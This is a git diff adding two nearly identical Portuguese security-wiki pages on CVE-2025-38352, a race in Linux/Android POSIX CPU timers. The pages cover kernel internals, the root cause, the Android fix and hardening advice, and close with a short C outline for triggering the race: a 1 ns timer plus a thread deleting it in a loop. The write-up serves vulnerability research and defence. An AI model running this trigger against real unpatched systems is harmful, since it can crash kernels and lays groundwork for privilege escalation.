diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 9200053c6..3e41d9a7b 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
\ No newline at end of file
diff --git a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
new file mode 100644
index 000000000..6214c060a
--- /dev/null
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@@ -0,0 +1,195 @@
+# Condição de corrida TOCTOU em POSIX CPU Timers (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Esta página documenta uma condição de corrida TOCTOU em POSIX CPU timers do Linux/Android que pode corromper o estado do timer e causar crash no kernel, e, em certas circunstâncias, ser direcionada para elevação de privilégios.
+
+- Componente afetado: kernel/time/posix-cpu-timers.c
+- Primitiva: expiry vs deletion race sob saída de tarefa
+- Sensível à configuração: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Rápido resumo interno (relevante para exploração)
+- Três clocks de CPU alimentam a contabilização dos timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime apenas
+- CPUCLOCK_SCHED: task_sched_runtime()
+- A criação do timer conecta um timer a uma task/pid e inicializa os nós da timerqueue:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming insere em uma per-base timerqueue e pode atualizar o next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- O caminho rápido evita processamento custoso, a menos que expirações em cache indiquem possível disparo:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Expiração coleta temporizadores expirados, marca-os como disparados, retira-os da fila; a entrega efetiva é adiada:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Dois modos de processamento de expiração
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na tarefa alvo
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto de IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+No caminho em contexto IRQ, a lista de disparo é processada fora do sighand
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU entre expiração em tempo de IRQ e exclusão concorrente durante a finalização da tarefa
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- A tarefa alvo está saindo mas não foi totalmente finalizada
+- Outra thread chama posix_cpu_timer_del() concorrentemente para o mesmo timer
+
+Sequence
+1) update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a tarefa em saída.
+2) collect_timerqueue() define ctmr->firing = 1 e move o timer para a lista temporária de firing.
+3) handle_posix_cpu_timers() solta sighand via unlock_task_sighand() para entregar timers fora do lock.
+4) Imediatamente após o unlock, a tarefa em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
+5) Nesta janela, posix_cpu_timer_del() pode falhar ao adquirir o state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a proteção normal in-flight que verifica timer->it.cpu.firing. A deleção prossegue como se não estivesse firing, corrompendo o state enquanto a expiração está sendo tratada, levando a travamentos/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Isso evita a entrada em handle_posix_cpu_timers() para tarefas em saída, eliminando a janela onde posix_cpu_timer_del() poderia perder it.cpu.firing e competir com o processamento de expiração.
+
+Impacto
+- Corrupção de memória do Kernel em estruturas de timer durante expiração/eliminação concorrente pode causar travamentos imediatos (DoS) e é um primitivo forte para privilege escalation devido a oportunidades de manipulação arbitrária do kernel-state.
+
+Acionando o bug (condições seguras e reprodutíveis)
+Build/config
+- Garanta CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem a correção que aplica o gating de exit_state.
+
+Estratégia em tempo de execução
+- Alveje uma thread que está prestes a sair e anexe um CPU timer a ela (per-thread or process-wide clock):
+- Para per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Para process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arme com uma expiração inicial muito curta e um intervalo pequeno para maximizar entradas no IRQ-path:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- A partir de um sibling thread, exclua simultaneamente o mesmo timer enquanto o target thread encerra:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Amplificadores de race: alta taxa de ticks do scheduler, carga da CPU, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na lookup/lock da task logo após unlock_task_sighand().
+
+Detection and hardening
+- Mitigation: aplique o exit_state guard; prefira habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
+- Observability: adicione tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alerte quando it.cpu.firing==1 for observado junto com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitore inconsistências em timerqueue ao redor da saída da task.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Notes for exploitation research
+- O comportamento divulgado é um primitivo confiável de crash do kernel; transformá-lo em escalada de privilégios normalmente requer uma sobreposição adicional controlável (object lifetime ou write-what-where influence) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizador e execute apenas em emuladores/VMs.
+
+## Referências
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
new file mode 100644
index 000000000..41d60d706
--- /dev/null
+++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Esta página documenta uma condição de corrida TOCTOU em Linux/Android POSIX CPU timers que pode corromper o estado do timer e travar o kernel, e sob algumas circunstâncias ser direcionada para privilege escalation.
+
+- Componente afetado: kernel/time/posix-cpu-timers.c
+- Primitiva: expiry vs deletion race durante task exit
+- Sensível a configuração: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Recapitulação rápida dos internals (relevante para exploitation)
+- Três clocks de CPU dirigem a contabilização para timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: apenas utime
+- CPUCLOCK_SCHED: task_sched_runtime()
+- A criação do timer conecta um timer a uma task/pid e inicializa os nós do timerqueue:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- A ativação insere em uma timerqueue por base e pode atualizar o cache next-expiry:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- O caminho rápido evita processamento dispendioso a menos que expirações em cache indiquem possível disparo:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- A expiração recolhe temporizadores expirados, marca-os como disparados, remove-os da fila; a entrega real é adiada:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Dois modos de processamento de expiração
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na tarefa alvo
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto de IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+No caminho de contexto IRQ, a lista de disparo é processada fora do sighand
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Causa raiz: TOCTOU entre a expiração em tempo de IRQ e a exclusão concorrente durante a saída da tarefa
+
+Pré-condições
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK está desabilitado (IRQ path in use)
+- A tarefa alvo está saindo mas não foi totalmente reaped
+- Outra thread chama concorrentemente posix_cpu_timer_del() para o mesmo timer
+
+Sequência
+1) update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a tarefa que está saindo.
+2) collect_timerqueue() define ctmr->firing = 1 e move o timer para a lista temporária de firing.
+3) handle_posix_cpu_timers() libera sighand via unlock_task_sighand() para entregar timers fora do lock.
+4) Imediatamente após o unlock, a tarefa em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
+5) Nesta janela, posix_cpu_timer_del() pode falhar ao adquirir o state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a guarda normal in-flight que verifica timer->it.cpu.firing. A exclusão prossegue como se não estivesse firing, corrompendo o estado enquanto a expiração está sendo tratada, levando a crashes/UB.
+
+Por que o modo TASK_WORK é seguro por design
+- Com CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, a expiração é adiada para task_work; exit_task_work roda antes de exit_notify, então a sobreposição em tempo de IRQ com o reaping não ocorre.
+- Mesmo assim, se a tarefa já está saindo, task_work_add() falha; condicionar em exit_state torna ambos os modos consistentes.
+
+Correção (Android common kernel) e justificativa
+- Adicionar um retorno antecipado se a tarefa corrente estiver saindo, condicionando todo o processamento:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Isso impede entrar em handle_posix_cpu_timers() para tarefas que estão saindo, eliminando a janela na qual posix_cpu_timer_del() poderia perder it.cpu.firing e competir com o processamento de expiração.
+
+Impacto
+- Corrupção de memória do kernel das estruturas de timer durante expiração/exclusão concorrente pode causar crashes imediatos (DoS) e é uma primitiva forte para privilege escalation devido a oportunidades de manipulação arbitrária do estado do kernel.
+
+Disparo do bug (condições seguras e reproduzíveis)
+Compilação/config
+- Garanta CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem a correção de gating para exit_state.
+
+Estratégia em tempo de execução
+- Mire uma thread prestes a sair e anexe um CPU timer a ela (clock por-thread ou por-processo):
+- Para por-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Para por-processo: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arme com uma expiração inicial muito curta e um intervalo pequeno para maximizar entradas no caminho de IRQ:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- A partir de um sibling thread, exclua concurrentemente o mesmo timer enquanto a target thread sai:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: alta scheduler tick rate, CPU load, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na busca/bloqueio da task logo após unlock_task_sighand().
+
+Detecção e hardening
+- Mitigação: aplique o guard exit_state; prefira habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
+- Observability: adicione tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alerte quando it.cpu.firing==1 for observado juntamente com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitore inconsistências no timerqueue ao redor da saída da task.
+
+Pontos de auditoria (para revisores)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): define ctmr->firing e move os nós
+- handle_posix_cpu_timers(): libera sighand antes do loop de firing
+- posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiração in-flight; essa verificação é ignorada quando a busca/bloqueio da task falha durante exit/reap
+
+Notas para pesquisa de exploração
+- O comportamento divulgado é um kernel crash primitive confiável; transformá-lo em privilege escalation tipicamente requer uma sobreposição adicional controlável (object lifetime ou influência write-what-where) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizadora e execute apenas em emuladores/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}